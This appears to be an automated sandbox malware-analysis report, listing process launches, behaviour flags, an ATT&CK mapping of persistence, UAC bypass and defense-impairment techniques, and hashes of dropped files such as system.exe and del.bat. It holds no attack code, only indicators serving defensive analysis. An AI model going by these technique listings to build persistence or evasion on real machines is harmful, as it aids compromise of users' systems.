C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6812 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4092 /prefetch:1
2⤵
PID:2364

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5008

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4228

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa395c055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:704

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
47b2c6613360b818825d076d14c051f7

SHA1
7df7304568313a06540f490bf3305cb89bc03e5c

SHA256
47a22bea2e7d0154c59bf5d8790ec68274eb05e9fa6cf0eab0d648121f1a02ac

SHA512
08d2366fc1ce87dbe96b9bf997e4c59c9206fcfea47c1f17b01e79aeb0580f25cac5c7349bb453a50775b2743053446653f4129f835f81f4a8547ca392557aac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
e0811105475d528ab174dfdb69f935f3

SHA1
dd9689f0f70a07b4e6fb29607e42d2d5faf1f516

SHA256
c91388c87878a9e2c530c6096dbdd993b0a26fefe8ad797e0133547225032d6c

SHA512
8374a721ea3ff3a1ea70d8a074e5c193dbba27ba7e301f19cea89d648b2378c376e48310c33fe81078cd40b1863daec935e8ac22e8e3878dc3a5bb529d028852

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\36665538-edc5-4a8c-b752-7128f9e43aa4.tmp
Filesize
941B

MD5
53ad4f859a25621fc4a89a90ce4d5079

SHA1
28e7059e5d5dd02a1fdc16c8387b8186b808773a

SHA256
08144c644ca3e7f7a028c1b8d0823075877003019b90c7907db3ecd24faaa1e7

SHA512
e305db0602304084346c3209935a140d8c2870fb744b95c907b333f177628195cb1a52a8c9d5de075b6fc920a3264a9ab90765e8792ae0ac847a630d6c92950c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\7ff74ed7-e274-4433-9b4f-d486bc737d95.tmp
Filesize
6KB

MD5
dff85280625466060255eb9dc069a813

SHA1
f49a3cf076f9ca20743498464fee6d4c170aeae5

SHA256
d5bc110f647d0cd8a1181690db431094d04ebd857ffa12a49cb6b222356723f1

SHA512
0951333f430b884f1b5fb51b64d03ca77ba72fb0b2c8129a0d9495b034d88cdfde43b7025eb4bd4fbb489aef18cb3baa93b2892ed5f0754a181717a0d8760692

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
3KB

MD5
72f48a308f314fcb25fcc62d1de697a6

SHA1
69b97c42fc100ffb15ab078180898a6b5792eb9e

SHA256
64702855b54084b0c52d815fd8201c324725637ed4bf7cede1581e84310d09d7

SHA512
cf1bbcfc8e0d23b51a83c1686be4c8dee5c2713defc01b95da35875f3c7793026582568d6cff682104a591b7213ddf7a5048f6327f7625790402c8d5d8affb82

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
120B

MD5
8da2c6a5ddad706c2c45c4c4ca486250

SHA1
955a137ad5dfe64a4ee322395958a8b0872a1204

SHA256
819f49f71d64cdfc764f906d67e78a804eebf6678c8b9bc2f1c77a26e09a6a67

SHA512
3b3a8a5060d99128e09b6913321a3785841a83264a0fdd4f376590e10b169b5817b1933b26f5ec6be5d7a61f6704c3c21111052e3cec0c66ea3b80dfb533a31f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
111B

MD5
807419ca9a4734feaf8d8563a003b048

SHA1
a723c7d60a65886ffa068711f1e900ccc85922a6

SHA256
aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631

SHA512
f10d496ae75db5ba412bd9f17bf0c7da7632db92a3fabf7f24071e40f5759c6a875ad8f3a72bad149da58b3da3b816077df125d0d9f3544adba68c66353d206c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
4c5939aac62c68f5daf309d76f5b01d0

SHA1
59ab8f8e80ded6d528edcf9cd345596cf7d9d8ec

SHA256
0e274139e30525740d9a2d98bad0d70902b7ddf275db0dfda793f47d7403dae2

SHA512
9cb1817981158dab234e75bc77f512d9f948c42f09020b6a8225f217f90eb8cb671ef9efefe962b2173c9984e858de27f52c141220828810df043cb7ee099d09

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
7KB

MD5
466af07bfda87aa01af73b2547a709f4

SHA1
68f9f2f8e2cbcd26bc19cb0684b890d9855a5e0a

SHA256
72eb7aaea56e2879a14311226d7a16eb2d0e3c1fa01793f7b3268f0e2ab27999

SHA512
77fdc55400b647c2ac5ee9ef25dc619dca011a6f906a6b9a597640bf400fb7fea4053e3475bec24d6e4ff64b14fef3cf079032a7006c743c39b514a5911f274d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
4833b2285b6c2c020ee958b80d3bb9a7

SHA1
ed7546299d4b091d84de17ae8f34464129899518

SHA256
340e68d1bd9f22930cde039dc7983f7db0181cbcd209599ac2e36282cd181adb

SHA512
628021c23b5a7dfdcf17347b0d7cc8b478b567b6e7cc5f1753111bfd4ac4cab94942e10539189597674790a01bfc377ea36b683a959de0bcf3886a557fbb4334

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
7KB

MD5
3ad1f667c10475fb8a2b7f864bd84424

SHA1
e14400053fa6209c34a74c15fd3109de19c27fd1

SHA256
93446257489945c6d387573bf9b6af82d3bfe14f5b1e415081dece2501ea15b1

SHA512
360da56702b14ddeec1e927d4d2cd3b928523f5b12345755ba64fd0a59afb5c10e2f8bea35c6a4664db9e8f18e02f122ea68331333ce3b8d8faf8c06a91a15b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
7KB

MD5
84ef22ea817ef2411855b9d5f667518a

SHA1
235b0fdf540f89924a5bbb4d1055af7583d07c5c

SHA256
5fb38d62ddd5417437a8acb1759395fde62ec25a9a691a52b60c5211ac17b14b

SHA512
0edfd6fa50b42f8b0f924d2a1e165226f0242c5c4e48d752ee059c0c25d9dbe0bed1e50581fa5791259542030fbdbde14f9d109b78b4b79ef42689f4828c5b0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
0ff8a1125a291ff9375d10af34bf698c

SHA1
eaab29db0a1e6f2cc120d4e3ba7e133c07c99326

SHA256
528c4717d14718e7fbdfa772b93b6510e6a9505ecafc8636ada816ff7a0231e6

SHA512
c03371182a351870e25d06c0edc5c92fe829b3696d698f1801314e757c148b58d41cfa8ea22567024382371b48e8342cacbf4b5bec07d4df0739e684dbc001e6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
3c615d215758bc0b6691af43ea105798

SHA1
fdb58fd962aacc23718975eba375e38de970016b

SHA256
9d927e17a287a9cd71faea8c8d4cac708c092de4ec32b463c3865742941d6718

SHA512
f35af4b7a627b6efc1ff5074e6fae6b55356507950d7100b385eb2bb2ead673260d3752d58f92319100870abd61cd2abb540d25e01611fcc54401b6cfbcab18e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
e94b481979b6844ef71a64e540e313bc

SHA1
6f8191b4a45f440ee5616e1dbb2092283e7ab3dc

SHA256
22207383d23a0ecb1be6ade018a344ee00031a68f9b7eece09ecdb3962e7114f

SHA512
e5e285d9fa485072230dcd2c82dc3d4bfdb1396acc89947fdf18135fd7ac4905667d27dc7d3bc50ab3a067c6c6f81bda05e97b58ad10f4adc749d0e898328307

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe580356.TMP
Filesize
536B

MD5
7989a3772751252418a659475de3d137

SHA1
08c6d762da2ce40eb048a93a8edce547a6291fb0

SHA256
0313377f9c6459f12c502900478c4dd32f2a08c127c425befc4d96d9e5d387fd

SHA512
7e02d6ee21b4f8deb07a01dd725b1ab505afa321cdbf29e36a29e6c41b925c93e82230316627932dc7b72f618acd25ecb560d16ef14c9edafb3b2e23aab74f6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
12KB

MD5
ebad38efc9d8ddd25cdbd708c76a0ea1

SHA1
d280ad80b2fd44e930dbb04435db5c8faea5ee47

SHA256
d75166ac20922ed1fa9f60fb2f4d976c995d2d667f47bde50e315397f3cbcfe2

SHA512
0bc380da0e72e4da5be676897203ca3a815e28518ecba802374935a58f9b10b242755fa91498a899fcf68896ea2bba7fb5d3dddc48f29c633813101224fda24b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
2b51f99894510a147d74f17b476c34cc

SHA1
a386c1c11e575f24be6c2f78c201ea9dec9d867d

SHA256
a7e77bee2cd9cd7fffdf46fd16de76a436ec6b4c9c7d3742486e0ef5cf28a2c9

SHA512
8adaa2b3dd141d5eb4cc8bb24f606077ab03e9c476d1ee21701c971710cba9d5f91ccabf5effddd946f37afc3f1787f9760fbadf9cae24bdb009511e13ceccf8

Download Submit
C:\Users\Admin\AppData\Local\del.bat
Filesize
56B

MD5
f62904abb27a3574e2e6121349ab4955

SHA1
35b3504f1d6bc88638a0721cf3d898eb0f95092a

SHA256
d31225722321313554e736bcd9debc4cb4c5ed6dce3921fa7839162fede832b6

SHA512
e8d1cf4c6a745790b2eaf4b3618703337313e3f561ba88982bc1a139aa4b5b29fd5f78f925e5bd12669eed74ca78510f6d6b1ce091bc55299057d2b2e867fb4e

Download Submit
C:\Users\Admin\AppData\Local\system.exe
Filesize
315KB

MD5
5030807b78c82a1d320d03abb33eb6c8

SHA1
4da77062bfb2068c353de1bff38c9e16632952f6

SHA256
82dd20f49584477101b253a09465f6cc7d675f77ba9a92d1116ea7e3ba2343d4

SHA512
bf6434e8343972d3aa896879555c1fe664e6d96e6c37685928ebfac7960312fc7ca5716eaefaaa43283edf749ef484f71fa1a0d4cc2f612bf9c6c2bb65cdccf4

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 306821.crdownload
Filesize
315KB

MD5
9f8bc96c96d43ecb69f883388d228754

SHA1
61ed25a706afa2f6684bb4d64f69c5fb29d20953

SHA256
7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5

SHA512
550a891c1059f58aa983138caf65a7ea9c326cb1b94c15f3e7594128f6e9f1295b9c2dbc0925637dba7c94e938083fffc6a63dc7c2e5b1e247679931cce505c6

Download Submit
\??\pipe\LOCAL\crashpad_752_QAVNGWEGRJLYEOFL
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads